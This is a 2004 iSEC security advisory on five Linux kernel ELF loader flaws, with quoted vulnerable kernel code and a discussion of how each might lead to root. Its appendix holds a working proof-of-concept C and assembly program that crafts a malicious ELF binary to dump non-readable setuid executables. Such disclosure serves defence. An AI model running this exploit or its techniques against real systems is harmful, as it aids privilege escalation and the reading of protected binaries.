Date: Wed, 10 Nov 2004 12:59:25 +0100 (CET)
From: Paul Starzetz <[email protected]>
To: [email protected], [email protected]Subject: Linux ELF loader vulnerabilities
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Synopsis: Linux kernel binfmt_elf loader vulnerabilities
Product: Linux kernel
Version: 2.4 up to to and including 2.4.27, 2.6 up to to and
including 2.6.8
Vendor: http://www.kernel.org/
URL: http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
CVE: not assigned
Author: Paul Starzetz <[email protected]>
Date: Nov 10, 2004
Issue:
======
Numerous bugs have been found in the Linux ELF binary loader while
handling setuid binaries.
Details:
========
On Unix like systems the execve(2) system call provides functionality to
replace the current process by a new one (usually found in binary form
on the disk) or in other words to execute a new program.
Internally the Linux kernel uses a binary format loader layer to
implement the low level format dependend functionality of the execve()
system call. The common execve code contains just few helper functions
used to load the new binary and leaves the format specific work to a
specialized binary format loader.
One of the Linux format loaders is the ELF (Executable and Linkable
Format) loader. Nowadays ELF is the standard format for Linux binaries
besides the a.out binary format, which is not used in practice anymore.
One of the functions of a binary format loader is to properly handle
setuid executables, that is executables with the setuid bit set on the
file system image of the executable. It allows execution of programs
under a different user ID than the user issuing the execve call but is
some lacy work from security point of view.
Every ELF binary contains an ELF header defining the type and the layout
of the program in memory as well as addition sections (like which
program interpreter to load, symbot table, etc). The ELF header normally
contains information about the entry point (start address) of the binary
and the position of the memory map header (phdr) in the binary image and
the program interpreter (that is normally the dynamic linker ld-
linux.so). The memory map header definies the memory mapping of the
executable file that can be seen later from /proc/self/maps.
We have indentified 5 different flaws in the Linux ELF binary loader
(linux/fs/binfmt_elf.c all line numbers for 2.4.27):
1) wrong return value check while filling kernel buffers (loop to scan
the binary header for an interpreter section):
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
size = elf_ex.e_phnum * sizeof(struct elf_phdr);
elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
if (!elf_phdata)
goto out;
477: retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
if (retval < 0)
goto out_free_ph;
The above code looks good on the first glance, however checking the
return value of kernel_read (which calls file->f_op->read) to be non-
negative is not sufficient since a read() can perfectly return less than
the requested buffer size bytes. This bug happens also on lines 301,
523, 545 respectively.
2) incorrect on error behaviour, if the mmap() call fails (loop to mmap
binary sections into memory):
645: for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
684: error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
if (BAD_ADDR(error))
continue;
3) bad return value vulnerability while mapping the program intrepreter
into memory:
301: retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);
error = retval;
if (retval < 0)
goto out_close;
eppnt = elf_phdata;
for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
322: if (BAD_ADDR(map_addr))
goto out_close;
out_close:
kfree(elf_phdata);
out:
return error;
}
4) the loaded interpreter section can contain an interpreter name string
without the terminating NULL:
508: for (i = 0; i < elf_ex.e_phnum; i++) {
518: elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
GFP_KERNEL);
if (!elf_interpreter)
goto out_free_file;
retval = kernel_read(bprm->file, elf_ppnt->p_offset,
elf_interpreter,
elf_ppnt->p_filesz);
if (retval < 0)
goto out_free_interp;
5) bug in the common execve() code in exec.c: vulnerability in
open_exec() permitting reading of non-readable ELF binaries, which can
be triggered by requesting the file in the ELF PT_INTERP section:
541: interpreter = open_exec(elf_interpreter);
retval = PTR_ERR(interpreter);
if (IS_ERR(interpreter))
goto out_free_interp;
retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);
Discussion:
=============
1) The Linux man pages state that a read(2) can return less than the
requested number of bytes, even zero. It is not clear how this can
happen while reading a disk file (in contrast to network sockets),
however here some thoughts:
- - if we trick read to fill the elf_phdata buffer with less than size
bytes, the remaining part of the buffer will contain some garbage data,
that is data from the previous kernel object, which occupied that memory
area.
Therefore we could arbitrarily modify the memory layout of the binary
supplying a suitable header information in the kernel buffer. This
should be sufficient to gain controll over the flow of execution for
most of the setuid binaries around.
- - on Linux a disk read goes through the page cache. That is, a disk read
can easily fail on a page boundary due to a low memory condition. In
this case read will return less than the requested number of bytes but
still indicate success (ret>0).
- - most of the standard setuid binaries on a 'normal' i386 Linux
installation have ELF headers stored below the 4096th byte, therefore
they are probably not exploitable on i386 architecture.
2) This bug can lead to a incorrectly mmaped binary image in the memory.
There are various reasons why a mmap() call can fail:
- - a temporary low memory condition, so that the allocation of a new VMA
descriptor fails
- - memory limit (RLIMIT_AS) excedeed, which can be easily manpipulated
before calling execve()
- - file locks held for the binary file in question
Security implications in the case of a setuid binary are quite obvious:
we may end up with a binary without the .text or .bss section or with
those sections shifted (in the case they are not 'fixed' sections). It
is not clear which standard binaries are exploitable however it is
sufficient that at some point we come over some instructions that jump
into the environment area due to malformed memory layout and gain full
controll over the setuid application.
3) This bug is similar to 2) however the code incorrectly returns the
kernel_read status to the calling function on mmap failure which will
assume that the program interpreter has been loaded. That means that the
kernel will start the execution of the binary file itself instead of
calling the program interpreter (linker) that have to finish the binary
loading from user space.
We have found that standard Linux (i386, GCC 2.95) setuid binaries
contain code that will jump to the EIP=0 address and crash (since there
is no virtual memory mapped there), however this may vary from binary to
binary as well from architecture to architecture and may be easily
exploitable.
4) This bug leads to internal kernel file system functions beeing called
with an argument string exceeding the maximum path size in length
(PATH_MAX). It is not clear if this condition is exploitable.
An user may try to execute such a malicious binary with an unterminated
interpreter name string and trick the kernel memory manager to return a
memory chunk for the elf_interpreter variable followed by a suitable
longish path name (like ./././....). Our experiments show that it can
lead to a preceivable system hang.
5) This bug is similar to the shared file table race [1]. We give a
proof-of-concept code at the end of this article that just core dumps
the non-readable but executable ELF file.
An user may create a manipulated ELF binary that requests a non-readable
but executable file as program intrepreter and gain read access to the
privileged binary. This works only if the file is a valid ELF image
file, so it is not possible to read a data file that has the execute bit
set but the read bit cleared. A common usage would be to read exec-only
setuid binaries to gain offsets for further exploitation.
Impact:
=======
Unprivileged users may gain elevated (root) privileges.
Credits:
========
Paul Starzetz <[email protected]> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.
Disclaimer:
===========
This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.
Appendix:
=========
/*
*
* binfmt_elf executable file read vulnerability
*
* gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <linux/elf.h>
#define BADNAME "/tmp/_elf_dump"
void usage(char *s)
{
printf("\nUsage: %s executable\n\n", s);
exit(0);
}
// ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
// "1: jmp 1b \n"
" xorl %edi, %edi \n"
" movl %esp, %esi \n"
" xorl %edx, %edx \n"
" xorl %ebp, %ebp \n"
" call get_addr \n"
" movl %esi, %esp \n"
" movl %edi, %ebp \n"
" jmp inst_sig \n"
"get_addr: popl %ecx \n"
// sighand
"inst_sig: xorl %eax, %eax \n"
" movl $11, %ebx \n"
" movb $48, %al \n"
" int $0x80 \n"
"ld_page: movl %ebp, %eax \n"
" subl %edx, %eax \n"
" cmpl $0x1000, %eax \n"
" jle ld_page2 \n"
// mprotect
" pusha \n"
" movl %edx, %ebx \n"
" addl $0x1000, %ebx \n"
" movl %eax, %ecx \n"
" xorl %eax, %eax \n"
" movb $125, %al \n"
" movl $7, %edx \n"
" int $0x80 \n"
" popa \n"
"ld_page2: addl $0x1000, %edi \n"
" cmpl $0xc0000000, %edi \n"
" je dump \n"
" movl %ebp, %edx \n"
" movl (%edi), %eax \n"
" jmp ld_page \n"
"dump: xorl %eax, %eax \n"
" xorl %ecx, %ecx \n"
" movl $11, %ebx \n"
" movb $48, %al \n"
" int $0x80 \n"
" movl $0xdeadbeef, %eax \n"
" jmp *(%eax) \n"
);
}
static volatile void bad_code_end(void)
{
}
int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;
if(ac<2)
usage(av[0]);
// make bad a.out
fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
nl = strlen(av[1])+1;
memset(&eh, 0, sizeof(eh) );
// elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 2;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );
// section header(s)
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_INTERP;
eph.p_offset = sizeof(eh) + 2*sizeof(eph);
eph.p_filesz = nl;
write(fd, &eph, sizeof(eph) );
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = 0x0000;
eph.p_flags = PF_R|PF_X;
write(fd, &eph, sizeof(eph) );
// .interp
write(fd, av[1], nl );
// execable code
nl = &bad_code_end - &bad_code;
lseek(fd, 4096, SEEK_SET);
write(fd, &bad_code, 4096);
close(fd);
// dump the shit
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
if( setrlimit(RLIMIT_CORE, &rl) )
perror("\nsetrlimit failed");
fflush(stdout);
pid = fork();
if(pid)
wait(NULL);
else
execl(BADNAME, BADNAME, NULL);
printf("\ncore dumped!\n\n");
unlink(BADNAME);
return 0;
}
- --
Paul Starzetz
iSEC Security Research
http://isec.pl/
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